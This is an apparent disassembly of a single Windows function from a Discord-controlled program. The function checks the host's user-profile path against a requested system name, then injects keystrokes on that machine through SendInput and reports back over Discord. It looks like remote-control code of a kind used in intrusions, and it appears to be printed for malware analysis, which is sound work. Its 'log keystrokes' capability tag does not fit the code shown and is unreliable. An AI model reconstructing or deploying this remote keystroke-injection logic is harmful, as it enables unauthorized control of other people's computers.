Function at 0x1400046f0
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xf30]
mov eax, 0x1030
call fcn.14000a4f0
sub rsp, rax
mov rax, qword [0x140011040]
xor rax, rsp
mov qword [rbp + 0xf20], rax
mov rax, r9
mov qword [rsp + 0x48], rax
mov r12, r8
mov qword [rsp + 0x20], rcx
mov qword [rbp + 0xe78], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe88], xmm0
xor r13d, r13d
mov qword [rbp + 0xe98], r13
mov r14d, 0xf
mov r15d, r14d
mov qword [rbp + 0xea0], r14
mov byte [rbp + 0xe88], r13b
movups xmmword [rbp + 0xea8], xmm0
xor edi, edi
mov qword [rbp + 0xeb8], rdi
mov esi, r14d
mov qword [rbp + 0xec0], r14
mov byte [rbp + 0xea8], dil
mov r9, qword [r8]
cmp r9, qword [r8 + 8]
je 0x140004c39
add r9, 0x20
cmp byte [r9 + 0x130], 1
jne 0x140004df3
lea rax, [rbp + 0xe88]
cmp rax, r9
je 0x140004800
mov rbx, qword [r9 + 0x10]
cmp qword [r9 + 0x18], r14
jbe 0x1400047c1
mov r9, qword [r9]
lea rcx, [rbp + 0xe88]
cmp rbx, 0xf
ja 0x1400047ea
mov qword [rbp + 0xe98], rbx
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rbp + rbx + 0xe88], 0
jmp 0x1400047f2
mov rdx, rbx
call fcn.140008460
mov r13, qword [rbp + 0xe98]
mov r15, qword [rbp + 0xea0]
mov r9, qword [r12]
add r9, 0x178
cmp byte [r9 + 0x130], 1
jne 0x140004df3
lea rax, [rbp + 0xea8]
cmp rax, r9
je 0x140004872
mov rbx, qword [r9 + 0x10]
cmp qword [r9 + 0x18], 0xf
jbe 0x140004833
mov r9, qword [r9]
lea rcx, [rbp + 0xea8]
cmp rbx, 0xf
ja 0x14000485c
mov qword [rbp + 0xeb8], rbx
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rbp + rbx + 0xea8], 0
jmp 0x140004864
mov rdx, rbx
call fcn.140008460
mov rsi, qword [rbp + 0xec0]
mov rdi, qword [rbp + 0xeb8]
xor eax, eax
mov qword [rbp + 0xe70], rax
mov qword [rbp + 0xe80], rax
lea r8, str.USERPROFILE
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0xe70]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
mov rdx, qword [rbp + 0xe70]
test eax, eax
jne 0x1400048bd
test rdx, rdx
je 0x1400048bd
mov rcx, rdx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rdx, qword [rbp + 0xe70]
lea rcx, [rsp + 0x28]
call fcn.140001bc0
lea rdx, [rsp + 0x28]
mov rbx, qword [rsp + 0x28]
cmp qword [rsp + 0x40], 0xf
cmova rdx, rbx
lea rcx, [rbp + 0xea8]
mov r12, qword [rbp + 0xea8]
cmp rsi, 0xf
cmova rcx, r12
cmp rdi, qword [rsp + 0x38]
jne 0x140004909
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140004909
xor dil, dil
jmp 0x14000490c
mov dil, 1
mov rax, qword [rsp + 0x40]
cmp rax, 0xf
jbe 0x14000494b
lea rdx, [rax + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140004943
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004943
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140009944
test dil, dil
je 0x140004a81
mov rsi, qword [rsp + 0x20]
mov rsi, qword [rsi]
lea rax, [rbp + 0xed0]
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0xed0]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov rdi, rax
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0xe80], rax
mov rdx, qword [rsp + 0x48]
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::command_source::constructor_struct_dpp::command_source_const____ptr64____ptr64]
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], r14
mov ecx, 0x20
call fcn.1400095f0
mov rdx, rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x38], 0x1f
mov qword [rsp + 0x40], 0x1f
movups xmm0, xmmword [str.No_system_with_this_name_exists]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x14000ca20]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x14000ca28]
mov dword [rax + 0x18], ecx
movzx eax, word [0x14000ca2c]
mov word [rdx + 0x1c], ax
movzx eax, byte [0x14000ca2e]
mov byte [rdx + 0x1e], al
mov byte [rdx + 0x1f], 0
xor r8d, r8d
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x70]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::message::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__enum_dpp::message_type____ptr64]
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::commandhandler::reply_struct_dpp::message_const____ptr64__struct_dpp::command_source__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64______ptr64]
nop
lea rcx, [rsp + 0x70]
call qword [sym.imp.dpp.dll_public_virtual:_void___cdecl_dpp::message::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x140004a81
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a7c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004a7c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009944
lea rdi, [rbp + 0xe88]
mov rsi, qword [rbp + 0xe88]
cmp r15, 0xf
cmova rdi, rsi
lea rax, [rbp + 0xe88]
cmova rax, rsi
add r13, rax
cmp rdi, r13
je 0x140004b51
nop
movsx ebx, byte [rdi]
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
xorps xmm0, xmm0
movups xmmword [rbp + 0xed0], xmm0
movups xmmword [rbp + 0xee0], xmm0
movups xmmword [rbp + 0xef0], xmm0
movups xmmword [rbp + 0xf00], xmm0
movups xmmword [rbp + 0xf10], xmm0
movzx ecx, bx
mov rdx, rax
call qword [sym.imp.USER32.dll_VkKeyScanExW]
mov dword [rbp + 0xed0], 1
mov word [rbp + 0xed8], ax
mov dword [rbp + 0xedc], 1
mov dword [rbp + 0xef8], 1
mov word [rbp + 0xf00], ax
mov dword [rbp + 0xf04], 2
mov r8d, 0x28
lea rdx, [rbp + 0xed0]
lea ecx, [r8 - 0x26]
call qword [sym.imp.USER32.dll_SendInput]
inc rdi
cmp rdi, r13
jne 0x140004ab0
mov r13, qword [rbp + 0xe98]
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0xed0]
mov qword [rsp + 0x58], rcx
lea rcx, [rbp + 0xed0]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov qword [rbp + 0xe80], rax
lea rax, [rbp + 0x2d0]
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x48]
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::command_source::constructor_struct_dpp::command_source_const____ptr64____ptr64]
mov qword [rbp + 0xe70], rax
movabs rax, 0x7fffffffffffffff
mov rcx, rax
sub rcx, r13
cmp rcx, 6
jb 0x140004dff
lea rdx, [rbp + 0xe88]
cmp r15, 0xf
cmova rdx, rsi
mov qword [rsp + 0x20], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
lea rdi, [r13 + 6]
lea rbx, [rsp + 0x28]
cmp rdi, 0xf
jbe 0x140004c96
mov r14, rdi
or r14, 0xf
cmp r14, rax
jbe 0x140004c4c
mov r14, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400095f0
test rax, rax
je 0x140004c74
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
mov rdx, qword [rsp + 0x20]
jmp 0x140004c91
mov rsi, qword [rbp + 0xe88]
mov r12, qword [rbp + 0xea8]
jmp 0x140004b58
mov eax, 0x16
cmp r14, rax
cmovb r14, rax
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x140004c7b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004df9
jmp 0x140004c19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140004c8f
call fcn.1400095f0
mov rbx, rax
mov rdx, qword [rsp + 0x20]
jmp 0x140004c91
xor ebx, ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], r14
mov eax, dword [str.typed]
mov dword [rbx], eax
movzx eax, word [0x14000ca34]
mov word [rbx + 4], ax
lea rcx, [rbx + 6]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
xor r8d, r8d
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x70]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::message::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__enum_dpp::message_type____ptr64]
nop
mov r9, qword [rbp + 0xe80]
mov r8, qword [rbp + 0xe70]
mov rdx, rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::commandhandler::reply_struct_dpp::message_const____ptr64__struct_dpp::command_source__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64______ptr64]
nop
lea rcx, [rsp + 0x70]
call qword [sym.imp.dpp.dll_public_virtual:_void___cdecl_dpp::message::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x140004d41
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004d3b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009944
nop
mov rdx, qword [rbp + 0xec0]
cmp rdx, 0xf
jbe 0x140004d83
inc rdx
mov rax, r12
cmp rdx, 0x1000
jb 0x140004d7a
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004d7a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.140009944
nop
cmp r15, 0xf
jbe 0x140004dbe
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140004db5
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004db5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140009944
nop
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::command_source::destructor_void____ptr64]
mov rcx, qword [rbp + 0xf20]
xor rcx, rsp
call fcn.1400095d0
mov rbx, qword [rsp + 0x1078]
add rsp, 0x1030
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140001af0
nop
call fcn.140001a40
int3
call fcn.140001b80
int3